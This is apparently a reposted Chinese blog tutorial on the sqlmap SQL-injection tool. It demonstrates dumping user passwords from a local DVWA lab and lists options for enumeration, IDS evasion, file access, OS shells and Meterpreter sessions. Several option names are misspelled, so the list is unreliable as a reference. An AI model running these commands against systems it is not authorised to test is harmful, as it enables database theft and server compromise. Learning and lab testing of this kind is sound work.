3

sqlmap介绍和用法

 1 year ago
source link: https://copyfuture.com/blogs-details/20211205073411933f
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

sqlmap介绍和用法

AI_SumSky 2021-12-05 17:38:28 阅读数:117 评论数:0 点赞数:0 收藏数:0

标签:CSDN介绍sqlmap数据库/缓存用法

sqlmap简介

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

功能:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

sqlmap常用命令

Target:

-u 指定目标url
例子:sqlmap+dvwa注入
因为

#sqlmap -u "http://192.168.60.128/dvwa/vulnerabilities/sqli/?id=1没有cookie权限不够所以加上--cookie
sqlmap -u "http://192.168.60.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=13h6r8914h2cfgojt7gat2b4a6"

效果图:
发现四个类型注入漏洞

在这里插入图片描述
试探数据库:
在这里插入图片描述
结果:共五个数据库其中有dvwa
在这里插入图片描述
试探表:
在这里插入图片描述
结果:发现users表可能有敏感信息
在这里插入图片描述
查看表内容:
在这里插入图片描述
结果:发现用户密码
在这里插入图片描述
参数解析:
#这里开始抽象参数可参考上面.下面这是发现注入漏洞后尝试获取数据库
sqlmap -u ip/route/?id=1 --cookie "*"--dbs
#参数--dbs 列出目标可能存在数据库,--current-db,列出当前数据库
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa --tables
#确定数据库可查看表—D是指定数据库--tables是列出数据库可能存在的表
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa -T users --column
#确定表可以查看数据表结构-T指定表--column列出表设计类型
#得知属性后可以用-C user,password --dump 显示指定列内容
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa -T users --dump
#确定表可以查看数据表结构-T指定表--dump列出表内容查看密码等

-d 直接连接数据库

-l 从burp代理日志的解析目标

-r 从文件中加载http请求

-g 从google dork的结果作为目标url

-c 从INI配置文件中加载选项

Request:

-A 指定user-agent头

-H 额外的header

-method= 指定HTTP方法(GET/POST)

–data= 通过POST提交数据

–param-del= 指定参数分隔符

–cookie= 指定cookie的值

–cookie-del= 指定cookie分隔符

–drop-set-cookie 扔掉response中的set-cookie头

–random-agent 使用随机的user-agent头

–host= 设置host头

–referer= 指定referer头

–headers= 额外的headers

–auth-type= http认证类型(Basic,NTLM,Digest)

–auith-cred= http认证凭证(账号:密码)

–ignore-proxy 忽略系统代理(常用于扫描本地文件)

–proxy= 使用代理

–proxy-cred= 代理认证证书(账号:密码)

–delay= 设置延迟时间(两个请求之间)

–timeout= 超时时来连接前等待(默认 30)

–retries= 连接超时时重试次数(默认 3)

–randomize= 随机更改指定的参数的值

–safe-url= 在测试期间经常访问的URL

–safe-post= POST数据发送到安全的URL

–safe-freq= 两次请求之间穿插一个安全的URL

–skip-urlencode 跳过payload数据的URL编码

–chunked 使用HTTP分块传输加密POST请求

–hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)

–force-ssl 强制使用SSL/HTTPS

–eval=value 请求之前提供Python代码(eg:“import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization

-o 打开所有优化开关

–predict-output 预测输出(与–threads不兼容)

–keep-alive 建立长久的HTTP(S)连接 (与–proxy不兼容)

–null-connection 空连接

–threads=value 设置线程(默认 1)

Injection

-p 指定测试参数

–skip= 跳过指定参数的测试

–skip-static 跳过测试静态的参数

–dbms= 指定具体DBMS

–os= 指定DBMS操作系统

–invalid-bignum 使用大数字使值无效

–invalid-logical 使用逻辑符使值无效

–invalid-string 使用字符串使值无效

–no-cast 关闭payload铸造机制

–no-escape 关闭字符转义机制(默认自动开启)

–prefix= 加入payload前缀

–suffix= 加入payload后缀

–tamper= 指定使用的脚本

Detectiong

–level= 指定测试的等级(1-5 默认为1)

–risk= 指定测试的风险(0-3 默认为1)

–string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功

–not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败

–code= 查询为真时,匹配的HTTP代码

–smart 当有大量检测目标时,只选择基于错误的检测结果

–text-only 仅基于文本内容比较网页

–titles 仅基于标题比较网页

Techniques

–technique= 指定sql注入技术(默认BEUSTQ)

–time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)

–union-clos= 进行查询时,指定列的范围

–union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有

-b 查询目标DBMS banner信息

–current-user 查询目标DBMS当前用户

–current-db 查询目标DBMS当前数据库

–is-dba 查询目标DBMS当前用户是否为DBA

–users 枚举目标DBMS所有的用户

–paswords 枚举目标DBMS用户密码哈希值

–privileges 枚举目标DBMS用户的权限

–roles 枚举DBMS用户的角色

–dbs 枚举DBMS所有的数据库

–tables 枚举DBMS数据库中所有的表

–columns 枚举DBMS数据库表中所有的列

–count 检索表的条目的数量

–dump 存储DBMS数据库的表中的条目

–dump-all 存储DBMS所有数据库表中的条目

–D db 指定进行枚举的数据库名称

–T table 指定进行枚举的数据库表名称

–C column 指定进行枚举的数据库列名称

–exclude-sysdbs 枚举表时排除系统数据库

–sql-query 指定查询的sql语句

–sql-shell 提示输入一个交互式sql shell

Brute force

–common-tables 暴力破解表

–common-colomns 暴力破解列

File system access

–file-read 从目标数据库管理文件系统读取文件

–file-write 上传文件到目标数据库管理文件系统

–file-dest 指定写入文件的绝对路径

–os-cmd= 执行操作系统命令

–os-shell 交互式的系统shell

–os-pwn 获取一个OOB shell,Meterpreter或者VNC

–os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC

–os-bof 储存过程缓冲区溢出利用

–os-esc 数据库进程用户权限提升

–msf-path= Metasploit Framework本地安装路径

版权声明本文为[AI_SumSky]所创,转载请带上原文链接,感谢https://blog.csdn.net/AI_SumSky/article/details/120500293

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK